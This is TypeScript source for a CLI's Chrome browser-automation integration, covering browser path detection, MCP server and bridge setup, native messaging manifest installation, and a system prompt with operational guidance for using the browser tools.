nativeMessagingPath: ['.config', 'google-chrome', 'NativeMessagingHosts'],
},
windows: {
dataPath: ['Google', 'Chrome', 'User Data'],
registryKey: 'HKCU\\Software\\Google\\Chrome\\NativeMessagingHosts',
},
},
brave: {
name: 'Brave',
macos: {
appName: 'Brave Browser',
dataPath: [
'Library',
'Application Support',
'BraveSoftware',
'Brave-Browser',
],
nativeMessagingPath: [
'Library',
'Application Support',
'BraveSoftware',
'Brave-Browser',
'NativeMessagingHosts',
],
},
linux: {
binaries: ['brave-browser', 'brave'],
dataPath: ['.config', 'BraveSoftware', 'Brave-Browser'],
nativeMessagingPath: [
'.config',
'BraveSoftware',
'Brave-Browser',
'NativeMessagingHosts',
],
},
windows: {
dataPath: ['BraveSoftware', 'Brave-Browser', 'User Data'],
registryKey:
'HKCU\\Software\\BraveSoftware\\Brave-Browser\\NativeMessagingHosts',
},
},
arc: {
name: 'Arc',
macos: {
appName: 'Arc',
dataPath: ['Library', 'Application Support', 'Arc', 'User Data'],
nativeMessagingPath: [
'Library',
'Application Support',
'Arc',
'User Data',
'NativeMessagingHosts',
],
},
linux: {
// Arc is not available on Linux
binaries: [],
dataPath: [],
nativeMessagingPath: [],
},
windows: {
// Arc Windows is Chromium-based
dataPath: ['Arc', 'User Data'],
registryKey: 'HKCU\\Software\\ArcBrowser\\Arc\\NativeMessagingHosts',
},
},
chromium: {
name: 'Chromium',
macos: {
appName: 'Chromium',
dataPath: ['Library', 'Application Support', 'Chromium'],
nativeMessagingPath: [
'Library',
'Application Support',
'Chromium',
'NativeMessagingHosts',
],
},
linux: {
binaries: ['chromium', 'chromium-browser'],
dataPath: ['.config', 'chromium'],
nativeMessagingPath: ['.config', 'chromium', 'NativeMessagingHosts'],
},
windows: {
dataPath: ['Chromium', 'User Data'],
registryKey: 'HKCU\\Software\\Chromium\\NativeMessagingHosts',
},
},
edge: {
name: 'Microsoft Edge',
macos: {
appName: 'Microsoft Edge',
dataPath: ['Library', 'Application Support', 'Microsoft Edge'],
nativeMessagingPath: [
'Library',
'Application Support',
'Microsoft Edge',
'NativeMessagingHosts',
],
},
linux: {
binaries: ['microsoft-edge', 'microsoft-edge-stable'],
dataPath: ['.config', 'microsoft-edge'],
nativeMessagingPath: [
'.config',
'microsoft-edge',
'NativeMessagingHosts',
],
},
windows: {
dataPath: ['Microsoft', 'Edge', 'User Data'],
registryKey: 'HKCU\\Software\\Microsoft\\Edge\\NativeMessagingHosts',
},
},
vivaldi: {
name: 'Vivaldi',
macos: {
appName: 'Vivaldi',
dataPath: ['Library', 'Application Support', 'Vivaldi'],
nativeMessagingPath: [
'Library',
'Application Support',
'Vivaldi',
'NativeMessagingHosts',
],
},
linux: {
binaries: ['vivaldi', 'vivaldi-stable'],
dataPath: ['.config', 'vivaldi'],
nativeMessagingPath: ['.config', 'vivaldi', 'NativeMessagingHosts'],
},
windows: {
dataPath: ['Vivaldi', 'User Data'],
registryKey: 'HKCU\\Software\\Vivaldi\\NativeMessagingHosts',
},
},
opera: {
name: 'Opera',
macos: {
appName: 'Opera',
dataPath: ['Library', 'Application Support', 'com.operasoftware.Opera'],
nativeMessagingPath: [
'Library',
'Application Support',
'com.operasoftware.Opera',
'NativeMessagingHosts',
],
},
linux: {
binaries: ['opera'],
dataPath: ['.config', 'opera'],
nativeMessagingPath: ['.config', 'opera', 'NativeMessagingHosts'],
},
windows: {
dataPath: ['Opera Software', 'Opera Stable'],
registryKey:
'HKCU\\Software\\Opera Software\\Opera Stable\\NativeMessagingHosts',
useRoaming: true, // Opera uses Roaming AppData, not Local
},
},
}
// Priority order for browser detection (most common first)
export const BROWSER_DETECTION_ORDER: ChromiumBrowser[] = [
'chrome',
'brave',
'arc',
'edge',
'chromium',
'vivaldi',
'opera',
]
/**
* Get all browser data paths to check for extension installation
*/
export function getAllBrowserDataPaths(): {
browser: ChromiumBrowser
path: string
}[] {
const platform = getPlatform()
const home = homedir()
const paths: { browser: ChromiumBrowser; path: string }[] = []
for (const browserId of BROWSER_DETECTION_ORDER) {
const config = CHROMIUM_BROWSERS[browserId]
let dataPath: string[] | undefined
switch (platform) {
case 'macos':
dataPath = config.macos.dataPath
break
case 'linux':
case 'wsl':
dataPath = config.linux.dataPath
break
case 'windows': {
if (config.windows.dataPath.length > 0) {
const appDataBase = config.windows.useRoaming
? join(home, 'AppData', 'Roaming')
: join(home, 'AppData', 'Local')
paths.push({
browser: browserId,
path: join(appDataBase, ...config.windows.dataPath),
})
}
continue
}
}
if (dataPath && dataPath.length > 0) {
paths.push({
browser: browserId,
path: join(home, ...dataPath),
})
}
}
return paths
}
/**
* Get native messaging host directories for all supported browsers
*/
export function getAllNativeMessagingHostsDirs(): {
browser: ChromiumBrowser
path: string
}[] {
const platform = getPlatform()
const home = homedir()
const paths: { browser: ChromiumBrowser; path: string }[] = []
for (const browserId of BROWSER_DETECTION_ORDER) {
const config = CHROMIUM_BROWSERS[browserId]
switch (platform) {
case 'macos':
if (config.macos.nativeMessagingPath.length > 0) {
paths.push({
browser: browserId,
path: join(home, ...config.macos.nativeMessagingPath),
})
}
break
case 'linux':
case 'wsl':
if (config.linux.nativeMessagingPath.length > 0) {
paths.push({
browser: browserId,
path: join(home, ...config.linux.nativeMessagingPath),
})
}
break
case 'windows':
// Windows uses registry, not file paths for native messaging
// We'll use a common location for the manifest file
break
}
}
return paths
}
/**
* Get Windows registry keys for all supported browsers
*/
export function getAllWindowsRegistryKeys(): {
browser: ChromiumBrowser
key: string
}[] {
const keys: { browser: ChromiumBrowser; key: string }[] = []
for (const browserId of BROWSER_DETECTION_ORDER) {
const config = CHROMIUM_BROWSERS[browserId]
if (config.windows.registryKey) {
keys.push({
browser: browserId,
key: config.windows.registryKey,
})
}
}
return keys
}
/**
* Detect which browser to use for opening URLs
* Returns the first available browser, or null if none found
*/
export async function detectAvailableBrowser(): Promise<ChromiumBrowser | null> {
const platform = getPlatform()
for (const browserId of BROWSER_DETECTION_ORDER) {
const config = CHROMIUM_BROWSERS[browserId]
switch (platform) {
case 'macos': {
// Check if the .app bundle (a directory) exists
const appPath = `/Applications/${config.macos.appName}.app`
try {
const stats = await stat(appPath)
if (stats.isDirectory()) {
logForDebugging(
`[Claude in Chrome] Detected browser: ${config.name}`,
)
return browserId
}
} catch (e) {
if (!isFsInaccessible(e)) throw e
// App not found, continue checking
}
break
}
case 'wsl':
case 'linux': {
// Check if any binary exists
for (const binary of config.linux.binaries) {
if (await which(binary).catch(() => null)) {
logForDebugging(
`[Claude in Chrome] Detected browser: ${config.name}`,
)
return browserId
}
}
break
}
case 'windows': {
// Check if data path exists (indicates browser is installed)
const home = homedir()
if (config.windows.dataPath.length > 0) {
const appDataBase = config.windows.useRoaming
? join(home, 'AppData', 'Roaming')
: join(home, 'AppData', 'Local')
const dataPath = join(appDataBase, ...config.windows.dataPath)
try {
const stats = await stat(dataPath)
if (stats.isDirectory()) {
logForDebugging(
`[Claude in Chrome] Detected browser: ${config.name}`,
)
return browserId
}
} catch (e) {
if (!isFsInaccessible(e)) throw e
// Browser not found, continue checking
}
}
break
}
}
}
return null
}
export function isClaudeInChromeMCPServer(name: string): boolean {
return normalizeNameForMCP(name) === CLAUDE_IN_CHROME_MCP_SERVER_NAME
}
const MAX_TRACKED_TABS = 200
const trackedTabIds = new Set<number>()
export function trackClaudeInChromeTabId(tabId: number): void {
if (trackedTabIds.size >= MAX_TRACKED_TABS && !trackedTabIds.has(tabId)) {
trackedTabIds.clear()
}
trackedTabIds.add(tabId)
}
export function isTrackedClaudeInChromeTabId(tabId: number): boolean {
return trackedTabIds.has(tabId)
}
export async function openInChrome(url: string): Promise<boolean> {
const currentPlatform = getPlatform()
// Detect the best available browser
const browser = await detectAvailableBrowser()
if (!browser) {
logForDebugging('[Claude in Chrome] No compatible browser found')
return false
}
const config = CHROMIUM_BROWSERS[browser]
switch (currentPlatform) {
case 'macos': {
const { code } = await execFileNoThrow('open', [
'-a',
config.macos.appName,
url,
])
return code === 0
}
case 'windows': {
// Use rundll32 to avoid cmd.exe metacharacter issues with URLs containing & | > <
const { code } = await execFileNoThrow('rundll32', ['url,OpenURL', url])
return code === 0
}
case 'wsl':
case 'linux': {
for (const binary of config.linux.binaries) {
const { code } = await execFileNoThrow(binary, [url])
if (code === 0) {
return true
}
}
return false
}
default:
return false
}
}
/**
* Get the socket directory path (Unix only)
*/
export function getSocketDir(): string {
return `/tmp/claude-mcp-browser-bridge-${getUsername()}`
}
/**
* Get the socket path (Unix) or pipe name (Windows)
*/
export function getSecureSocketPath(): string {
if (platform() === 'win32') {
return `\\\\.\\pipe\\${getSocketName()}`
}
return join(getSocketDir(), `${process.pid}.sock`)
}
/**
* Get all socket paths including PID-based sockets in the directory
* and legacy fallback paths
*/
export function getAllSocketPaths(): string[] {
// Windows uses named pipes, not Unix sockets
if (platform() === 'win32') {
return [`\\\\.\\pipe\\${getSocketName()}`]
}
const paths: string[] = []
const socketDir = getSocketDir()
// Scan for *.sock files in the socket directory
try {
// eslint-disable-next-line custom-rules/no-sync-fs -- ClaudeForChromeContext.getSocketPaths (external @ant/claude-for-chrome-mcp) requires a sync () => string[] callback
const files = readdirSync(socketDir)
for (const file of files) {
if (file.endsWith('.sock')) {
paths.push(join(socketDir, file))
}
}
} catch {
// Directory may not exist yet
}
// Legacy fallback paths
const legacyName = `claude-mcp-browser-bridge-${getUsername()}`
const legacyTmpdir = join(tmpdir(), legacyName)
const legacyTmp = `/tmp/${legacyName}`
if (!paths.includes(legacyTmpdir)) {
paths.push(legacyTmpdir)
}
if (legacyTmpdir !== legacyTmp && !paths.includes(legacyTmp)) {
paths.push(legacyTmp)
}
return paths
}
function getSocketName(): string {
// NOTE: This must match the one used in the Claude in Chrome MCP
return `claude-mcp-browser-bridge-${getUsername()}`
}
function getUsername(): string {
try {
return userInfo().username || 'default'
} catch {
return process.env.USER || process.env.USERNAME || 'default'
}
}

View File

@@ -0,0 +1,293 @@
import {
type ClaudeForChromeContext,
createClaudeForChromeMcpServer,
type Logger,
type PermissionMode,
} from '@ant/claude-for-chrome-mcp'
import { StdioServerTransport } from '@modelcontextprotocol/sdk/server/stdio.js'
import { format } from 'util'
import { shutdownDatadog } from '../../services/analytics/datadog.js'
import { shutdown1PEventLogging } from '../../services/analytics/firstPartyEventLogger.js'
import { getFeatureValue_CACHED_MAY_BE_STALE } from '../../services/analytics/growthbook.js'
import {
type AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
logEvent,
} from '../../services/analytics/index.js'
import { initializeAnalyticsSink } from '../../services/analytics/sink.js'
import { getClaudeAIOAuthTokens } from '../auth.js'
import { enableConfigs, getGlobalConfig, saveGlobalConfig } from '../config.js'
import { logForDebugging } from '../debug.js'
import { isEnvTruthy } from '../envUtils.js'
import { sideQuery } from '../sideQuery.js'
import { getAllSocketPaths, getSecureSocketPath } from './common.js'
const EXTENSION_DOWNLOAD_URL = 'https://claude.ai/chrome'
const BUG_REPORT_URL =
'https://github.com/anthropics/claude-code/issues/new?labels=bug,claude-in-chrome'
// String metadata keys safe to forward to analytics. Keys like error_message
// are excluded because they could contain page content or user data.
const SAFE_BRIDGE_STRING_KEYS = new Set([
'bridge_status',
'error_type',
'tool_name',
])
const PERMISSION_MODES: readonly PermissionMode[] = [
'ask',
'skip_all_permission_checks',
'follow_a_plan',
]
function isPermissionMode(raw: string): raw is PermissionMode {
return PERMISSION_MODES.some(m => m === raw)
}
/**
* Resolves the Chrome bridge URL based on environment and feature flag.
* Bridge is used when the feature flag is enabled; ant users always get
* bridge. API key / 3P users fall back to native messaging.
*/
function getChromeBridgeUrl(): string | undefined {
const bridgeEnabled =
process.env.USER_TYPE === 'ant' ||
getFeatureValue_CACHED_MAY_BE_STALE('tengu_copper_bridge', false)
if (!bridgeEnabled) {
return undefined
}
if (
isEnvTruthy(process.env.USE_LOCAL_OAUTH) ||
isEnvTruthy(process.env.LOCAL_BRIDGE)
) {
return 'ws://localhost:8765'
}
if (isEnvTruthy(process.env.USE_STAGING_OAUTH)) {
return 'wss://bridge-staging.claudeusercontent.com'
}
return 'wss://bridge.claudeusercontent.com'
}
function isLocalBridge(): boolean {
return (
isEnvTruthy(process.env.USE_LOCAL_OAUTH) ||
isEnvTruthy(process.env.LOCAL_BRIDGE)
)
}
/**
* Build the ClaudeForChromeContext used by both the subprocess MCP server
* and the in-process path in the MCP client.
*/
export function createChromeContext(
env?: Record<string, string>,
): ClaudeForChromeContext {
const logger = new DebugLogger()
const chromeBridgeUrl = getChromeBridgeUrl()
logger.info(`Bridge URL: ${chromeBridgeUrl ?? 'none (using native socket)'}`)
const rawPermissionMode =
env?.CLAUDE_CHROME_PERMISSION_MODE ??
process.env.CLAUDE_CHROME_PERMISSION_MODE
let initialPermissionMode: PermissionMode | undefined
if (rawPermissionMode) {
if (isPermissionMode(rawPermissionMode)) {
initialPermissionMode = rawPermissionMode
} else {
logger.warn(
`Invalid CLAUDE_CHROME_PERMISSION_MODE "${rawPermissionMode}". Valid values: ${PERMISSION_MODES.join(', ')}`,
)
}
}
return {
serverName: 'Claude in Chrome',
logger,
socketPath: getSecureSocketPath(),
getSocketPaths: getAllSocketPaths,
clientTypeId: 'claude-code',
onAuthenticationError: () => {
logger.warn(
'Authentication error occurred. Please ensure you are logged into the Claude browser extension with the same claude.ai account as Claude Code.',
)
},
onToolCallDisconnected: () => {
return `Browser extension is not connected. Please ensure the Claude browser extension is installed and running (${EXTENSION_DOWNLOAD_URL}), and that you are logged into claude.ai with the same account as Claude Code. If this is your first time connecting to Chrome, you may need to restart Chrome for the installation to take effect. If you continue to experience issues, please report a bug: ${BUG_REPORT_URL}`
},
onExtensionPaired: (deviceId: string, name: string) => {
saveGlobalConfig(config => {
if (
config.chromeExtension?.pairedDeviceId === deviceId &&
config.chromeExtension?.pairedDeviceName === name
) {
return config
}
return {
...config,
chromeExtension: {
pairedDeviceId: deviceId,
pairedDeviceName: name,
},
}
})
logger.info(`Paired with "${name}" (${deviceId.slice(0, 8)})`)
},
getPersistedDeviceId: () => {
return getGlobalConfig().chromeExtension?.pairedDeviceId
},
...(chromeBridgeUrl && {
bridgeConfig: {
url: chromeBridgeUrl,
getUserId: async () => {
return getGlobalConfig().oauthAccount?.accountUuid
},
getOAuthToken: async () => {
return getClaudeAIOAuthTokens()?.accessToken ?? ''
},
...(isLocalBridge() && { devUserId: 'dev_user_local' }),
},
}),
...(initialPermissionMode && { initialPermissionMode }),
// Wire inference for the browser_task tool — the chrome-mcp server runs
// a lightning-mode agent loop in Node and calls the extension's
// lightning_turn tool once per iteration for execution.
//
// Ant-only: the extension's lightning_turn is build-time-gated via
// import.meta.env.ANT_ONLY_BUILD — the whole lightning/ module graph is
// tree-shaken from the public extension build (build:prod greps for a
// marker to verify). Without this injection, the Node MCP server's
// ListTools also filters browser_task + lightning_turn out, so external
// users never see the tools advertised. Three independent gates.
//
// Types inlined: AnthropicMessagesRequest/Response live in
// @ant/claude-for-chrome-mcp@0.4.0 which isn't published yet. CI installs
// 0.3.0. The callAnthropicMessages field is also 0.4.0-only, but spreading
// an extra property into ClaudeForChromeContext is fine against either
// version — 0.3.0 sees an unknown field (allowed in spread), 0.4.0 sees a
// structurally-matching one. Once 0.4.0 is published, this can switch to
// the package's exported types and the dep can be bumped.
...(process.env.USER_TYPE === 'ant' && {
callAnthropicMessages: async (req: {
model: string
max_tokens: number
system: string
messages: Parameters<typeof sideQuery>[0]['messages']
stop_sequences?: string[]
signal?: AbortSignal
}): Promise<{
content: Array<{ type: 'text'; text: string }>
stop_reason: string | null
usage?: { input_tokens: number; output_tokens: number }
}> => {
// sideQuery handles OAuth attribution fingerprint, proxy, model betas.
// skipSystemPromptPrefix: the lightning prompt is complete on its own;
// the CLI prefix would dilute the batching instructions.
// tools: [] is load-bearing — without it Sonnet emits
// <function_calls> XML before the text commands. Original
// lightning-harness.js (apps repo) does the same.
const response = await sideQuery({
model: req.model,
system: req.system,
messages: req.messages,
max_tokens: req.max_tokens,
stop_sequences: req.stop_sequences,
signal: req.signal,
skipSystemPromptPrefix: true,
tools: [],
querySource: 'chrome_mcp',
})
// BetaContentBlock is TextBlock | ThinkingBlock | ToolUseBlock | ...
// Only text blocks carry the model's command output.
const textBlocks: Array<{ type: 'text'; text: string }> = []
for (const b of response.content) {
if (b.type === 'text') {
textBlocks.push({ type: 'text', text: b.text })
}
}
return {
content: textBlocks,
stop_reason: response.stop_reason,
usage: {
input_tokens: response.usage.input_tokens,
output_tokens: response.usage.output_tokens,
},
}
},
}),
trackEvent: (eventName, metadata) => {
const safeMetadata: {
[key: string]:
| boolean
| number
| AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS
| undefined
} = {}
if (metadata) {
for (const [key, value] of Object.entries(metadata)) {
// Rename 'status' to 'bridge_status' to avoid Datadog's reserved field
const safeKey = key === 'status' ? 'bridge_status' : key
if (typeof value === 'boolean' || typeof value === 'number') {
safeMetadata[safeKey] = value
} else if (
typeof value === 'string' &&
SAFE_BRIDGE_STRING_KEYS.has(safeKey)
) {
// Only forward allowlisted string keys — fields like error_message
// could contain page content or user data
safeMetadata[safeKey] =
value as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS
}
}
}
logEvent(eventName, safeMetadata)
},
}
}
export async function runClaudeInChromeMcpServer(): Promise<void> {
enableConfigs()
initializeAnalyticsSink()
const context = createChromeContext()
const server = createClaudeForChromeMcpServer(context)
const transport = new StdioServerTransport()
// Exit when parent process dies (stdin pipe closes).
// Flush analytics before exiting so final-batch events (e.g. disconnect) aren't lost.
let exiting = false
const shutdownAndExit = async (): Promise<void> => {
if (exiting) {
return
}
exiting = true
await shutdown1PEventLogging()
await shutdownDatadog()
// eslint-disable-next-line custom-rules/no-process-exit
process.exit(0)
}
process.stdin.on('end', () => void shutdownAndExit())
process.stdin.on('error', () => void shutdownAndExit())
logForDebugging('[Claude in Chrome] Starting MCP server')
await server.connect(transport)
logForDebugging('[Claude in Chrome] MCP server started')
}
class DebugLogger implements Logger {
silly(message: string, ...args: unknown[]): void {
logForDebugging(format(message, ...args), { level: 'debug' })
}
debug(message: string, ...args: unknown[]): void {
logForDebugging(format(message, ...args), { level: 'debug' })
}
info(message: string, ...args: unknown[]): void {
logForDebugging(format(message, ...args), { level: 'info' })
}
warn(message: string, ...args: unknown[]): void {
logForDebugging(format(message, ...args), { level: 'warn' })
}
error(message: string, ...args: unknown[]): void {
logForDebugging(format(message, ...args), { level: 'error' })
}
}

View File

@@ -0,0 +1,32 @@
type BrowserTool = { name: string }
type ClaudeForChromePackage = {
BROWSER_TOOLS?: BrowserTool[]
createClaudeForChromeMcpServer?: (...args: any[]) => any
}
let cachedPackage: ClaudeForChromePackage | null | undefined
function loadClaudeForChromePackage(): ClaudeForChromePackage | null {
if (cachedPackage !== undefined) {
return cachedPackage
}
try {
/* eslint-disable @typescript-eslint/no-require-imports */
cachedPackage = require('@ant/claude-for-chrome-mcp') as ClaudeForChromePackage
/* eslint-enable @typescript-eslint/no-require-imports */
} catch {
cachedPackage = null
}
return cachedPackage
}
export function getChromeBrowserTools(): BrowserTool[] {
return loadClaudeForChromePackage()?.BROWSER_TOOLS ?? []
}
export async function importClaudeForChromePackage(): Promise<ClaudeForChromePackage> {
return (await import('@ant/claude-for-chrome-mcp')) as ClaudeForChromePackage
}

View File

@@ -0,0 +1,83 @@
export const BASE_CHROME_PROMPT = `# Claude in Chrome browser automation
You have access to browser automation tools (mcp__claude-in-chrome__*) for interacting with web pages in Chrome. Follow these guidelines for effective browser automation.
## GIF recording
When performing multi-step browser interactions that the user may want to review or share, use mcp__claude-in-chrome__gif_creator to record them.
You must ALWAYS:
* Capture extra frames before and after taking actions to ensure smooth playback
* Name the file meaningfully to help the user identify it later (e.g., "login_process.gif")
## Console log debugging
You can use mcp__claude-in-chrome__read_console_messages to read console output. Console output may be verbose. If you are looking for specific log entries, use the 'pattern' parameter with a regex-compatible pattern. This filters results efficiently and avoids overwhelming output. For example, use pattern: "[MyApp]" to filter for application-specific logs rather than reading all console output.
## Alerts and dialogs
IMPORTANT: Do not trigger JavaScript alerts, confirms, prompts, or browser modal dialogs through your actions. These browser dialogs block all further browser events and will prevent the extension from receiving any subsequent commands. Instead, when possible, use console.log for debugging and then use the mcp__claude-in-chrome__read_console_messages tool to read those log messages. If a page has dialog-triggering elements:
1. Avoid clicking buttons or links that may trigger alerts (e.g., "Delete" buttons with confirmation dialogs)
2. If you must interact with such elements, warn the user first that this may interrupt the session
3. Use mcp__claude-in-chrome__javascript_tool to check for and dismiss any existing dialogs before proceeding
If you accidentally trigger a dialog and lose responsiveness, inform the user they need to manually dismiss it in the browser.
## Avoid rabbit holes and loops
When using browser automation tools, stay focused on the specific task. If you encounter any of the following, stop and ask the user for guidance:
- Unexpected complexity or tangential browser exploration
- Browser tool calls failing or returning errors after 2-3 attempts
- No response from the browser extension
- Page elements not responding to clicks or input
- Pages not loading or timing out
- Unable to complete the browser task despite multiple approaches
Explain what you attempted, what went wrong, and ask how the user would like to proceed. Do not keep retrying the same failing browser action or explore unrelated pages without checking in first.
## Tab context and session startup
IMPORTANT: At the start of each browser automation session, call mcp__claude-in-chrome__tabs_context_mcp first to get information about the user's current browser tabs. Use this context to understand what the user might want to work with before creating new tabs.
Never reuse tab IDs from a previous/other session. Follow these guidelines:
1. Only reuse an existing tab if the user explicitly asks to work with it
2. Otherwise, create a new tab with mcp__claude-in-chrome__tabs_create_mcp
3. If a tool returns an error indicating the tab doesn't exist or is invalid, call tabs_context_mcp to get fresh tab IDs
4. When a tab is closed by the user or a navigation error occurs, call tabs_context_mcp to see what tabs are available`
/**
* Additional instructions for chrome tools when tool search is enabled.
* These instruct the model to load chrome tools via ToolSearch before using them.
* Only injected when tool search is actually enabled (not just optimistically possible).
*/
export const CHROME_TOOL_SEARCH_INSTRUCTIONS = `**IMPORTANT: Before using any chrome browser tools, you MUST first load them using ToolSearch.**
Chrome browser tools are MCP tools that require loading before use. Before calling any mcp__claude-in-chrome__* tool:
1. Use ToolSearch with \`select:mcp__claude-in-chrome__<tool_name>\` to load the specific tool
2. Then call the tool
For example, to get tab context:
1. First: ToolSearch with query "select:mcp__claude-in-chrome__tabs_context_mcp"
2. Then: Call mcp__claude-in-chrome__tabs_context_mcp`
/**
* Get the base chrome system prompt (without tool search instructions).
* Tool search instructions are injected separately at request time in claude.ts
* based on the actual tool search enabled state.
*/
export function getChromeSystemPrompt(): string {
return BASE_CHROME_PROMPT
}
/**
* Minimal hint about Claude in Chrome skill availability. This is injected at startup when the extension is installed
* to guide the model to invoke the skill before using the MCP tools.
*/
export const CLAUDE_IN_CHROME_SKILL_HINT = `**Browser Automation**: Chrome browser tools are available via the "claude-in-chrome" skill. CRITICAL: Before using any mcp__claude-in-chrome__* tools, invoke the skill by calling the Skill tool with skill: "claude-in-chrome". The skill provides browser automation instructions and enables the tools.`
/**
* Variant when the built-in WebBrowser tool is also available — steer
* dev-loop tasks to WebBrowser and reserve the extension for the user's
* authenticated Chrome (logged-in sites, OAuth, computer-use).
*/
export const CLAUDE_IN_CHROME_SKILL_HINT_WITH_WEBBROWSER = `**Browser Automation**: Use WebBrowser for development (dev servers, JS eval, console, screenshots). Use claude-in-chrome for the user's real Chrome when you need logged-in sessions, OAuth, or computer-use — invoke Skill(skill: "claude-in-chrome") before any mcp__claude-in-chrome__* tool.`

View File

@@ -0,0 +1,400 @@
import { BROWSER_TOOLS } from '@ant/claude-for-chrome-mcp'
import { chmod, mkdir, readFile, writeFile } from 'fs/promises'
import { homedir } from 'os'
import { join } from 'path'
import { fileURLToPath } from 'url'
import {
getIsInteractive,
getIsNonInteractiveSession,
getSessionBypassPermissionsMode,
} from '../../bootstrap/state.js'
import { getFeatureValue_CACHED_MAY_BE_STALE } from '../../services/analytics/growthbook.js'
import type { ScopedMcpServerConfig } from '../../services/mcp/types.js'
import { isInBundledMode } from '../bundledMode.js'
import { getGlobalConfig, saveGlobalConfig } from '../config.js'
import { logForDebugging } from '../debug.js'
import {
getClaudeConfigHomeDir,
isEnvDefinedFalsy,
isEnvTruthy,
} from '../envUtils.js'
import { execFileNoThrowWithCwd } from '../execFileNoThrow.js'
import { getPlatform } from '../platform.js'
import { jsonStringify } from '../slowOperations.js'
import {
CLAUDE_IN_CHROME_MCP_SERVER_NAME,
getAllBrowserDataPaths,
getAllNativeMessagingHostsDirs,
getAllWindowsRegistryKeys,
openInChrome,
} from './common.js'
import { getChromeSystemPrompt } from './prompt.js'
import { isChromeExtensionInstalledPortable } from './setupPortable.js'
const CHROME_EXTENSION_RECONNECT_URL = 'https://clau.de/chrome/reconnect'
const NATIVE_HOST_IDENTIFIER = 'com.anthropic.claude_code_browser_extension'
const NATIVE_HOST_MANIFEST_NAME = `${NATIVE_HOST_IDENTIFIER}.json`
export function shouldEnableClaudeInChrome(chromeFlag?: boolean): boolean {
// Disable by default in non-interactive sessions (e.g., SDK, CI)
if (getIsNonInteractiveSession() && chromeFlag !== true) {
return false
}
// Check CLI flags
if (chromeFlag === true) {
return true
}
if (chromeFlag === false) {
return false
}
// Check environment variables
if (isEnvTruthy(process.env.CLAUDE_CODE_ENABLE_CFC)) {
return true
}
if (isEnvDefinedFalsy(process.env.CLAUDE_CODE_ENABLE_CFC)) {
return false
}
// Check default config settings
const config = getGlobalConfig()
if (config.claudeInChromeDefaultEnabled !== undefined) {
return config.claudeInChromeDefaultEnabled
}
return false
}
let shouldAutoEnable: boolean | undefined = undefined
export function shouldAutoEnableClaudeInChrome(): boolean {
if (shouldAutoEnable !== undefined) {
return shouldAutoEnable
}
shouldAutoEnable =
getIsInteractive() &&
isChromeExtensionInstalled_CACHED_MAY_BE_STALE() &&
(process.env.USER_TYPE === 'ant' ||
getFeatureValue_CACHED_MAY_BE_STALE('tengu_chrome_auto_enable', false))
return shouldAutoEnable
}
/**
* Setup Claude in Chrome MCP server and tools
*
* @returns MCP config and allowed tools, or throws an error if platform is unsupported
*/
export function setupClaudeInChrome(): {
mcpConfig: Record<string, ScopedMcpServerConfig>
allowedTools: string[]
systemPrompt: string
} {
const isNativeBuild = isInBundledMode()
const allowedTools = BROWSER_TOOLS.map(
tool => `mcp__claude-in-chrome__${tool.name}`,
)
const env: Record<string, string> = {}
if (getSessionBypassPermissionsMode()) {
env.CLAUDE_CHROME_PERMISSION_MODE = 'skip_all_permission_checks'
}
const hasEnv = Object.keys(env).length > 0
if (isNativeBuild) {
// Create a wrapper script that calls the same binary with --chrome-native-host. This
// is needed because the native host manifest "path" field cannot contain arguments.
const execCommand = `"${process.execPath}" --chrome-native-host`
// Run asynchronously without blocking; best-effort so swallow errors
void createWrapperScript(execCommand)
.then(manifestBinaryPath =>
installChromeNativeHostManifest(manifestBinaryPath),
)
.catch(e =>
logForDebugging(
`[Claude in Chrome] Failed to install native host: ${e}`,
{ level: 'error' },
),
)
return {
mcpConfig: {
[CLAUDE_IN_CHROME_MCP_SERVER_NAME]: {
type: 'stdio' as const,
command: process.execPath,
args: ['--claude-in-chrome-mcp'],
scope: 'dynamic' as const,
...(hasEnv && { env }),
},
},
allowedTools,
systemPrompt: getChromeSystemPrompt(),
}
} else {
const __filename = fileURLToPath(import.meta.url)
const __dirname = join(__filename, '..')
const cliPath = join(__dirname, 'cli.js')
void createWrapperScript(
`"${process.execPath}" "${cliPath}" --chrome-native-host`,
)
.then(manifestBinaryPath =>
installChromeNativeHostManifest(manifestBinaryPath),
)
.catch(e =>
logForDebugging(
`[Claude in Chrome] Failed to install native host: ${e}`,
{ level: 'error' },
),
)
const mcpConfig = {
[CLAUDE_IN_CHROME_MCP_SERVER_NAME]: {
type: 'stdio' as const,
command: process.execPath,
args: [`${cliPath}`, '--claude-in-chrome-mcp'],
scope: 'dynamic' as const,
...(hasEnv && { env }),
},
}
return {
mcpConfig,
allowedTools,
systemPrompt: getChromeSystemPrompt(),
}
}
}
/**
* Get native messaging hosts directories for all supported browsers
* Returns an array of directories where the native host manifest should be installed
*/
function getNativeMessagingHostsDirs(): string[] {
const platform = getPlatform()
if (platform === 'windows') {
// Windows uses a single location with registry entries pointing to it
const home = homedir()
const appData = process.env.APPDATA || join(home, 'AppData', 'Local')
return [join(appData, 'Claude Code', 'ChromeNativeHost')]
}
// macOS and Linux: return all browser native messaging directories
return getAllNativeMessagingHostsDirs().map(({ path }) => path)
}
export async function installChromeNativeHostManifest(
manifestBinaryPath: string,
): Promise<void> {
const manifestDirs = getNativeMessagingHostsDirs()
if (manifestDirs.length === 0) {
throw Error('Claude in Chrome Native Host not supported on this platform')
}
const manifest = {
name: NATIVE_HOST_IDENTIFIER,
description: 'Claude Code Browser Extension Native Host',
path: manifestBinaryPath,
type: 'stdio',
allowed_origins: [
`chrome-extension://fcoeoabgfenejglbffodgkkbkcdhcgfn/`, // PROD_EXTENSION_ID
...(process.env.USER_TYPE === 'ant'
? [
'chrome-extension://dihbgbndebgnbjfmelmegjepbnkhlgni/', // DEV_EXTENSION_ID
'chrome-extension://dngcpimnedloihjnnfngkgjoidhnaolf/', // ANT_EXTENSION_ID
]
: []),
],
}
const manifestContent = jsonStringify(manifest, null, 2)
let anyManifestUpdated = false
// Install manifest to all browser directories
for (const manifestDir of manifestDirs) {
const manifestPath = join(manifestDir, NATIVE_HOST_MANIFEST_NAME)
// Check if content matches to avoid unnecessary writes
const existingContent = await readFile(manifestPath, 'utf-8').catch(
() => null,
)
if (existingContent === manifestContent) {
continue
}
try {
await mkdir(manifestDir, { recursive: true })
await writeFile(manifestPath, manifestContent)
logForDebugging(
`[Claude in Chrome] Installed native host manifest at: ${manifestPath}`,
)
anyManifestUpdated = true
} catch (error) {
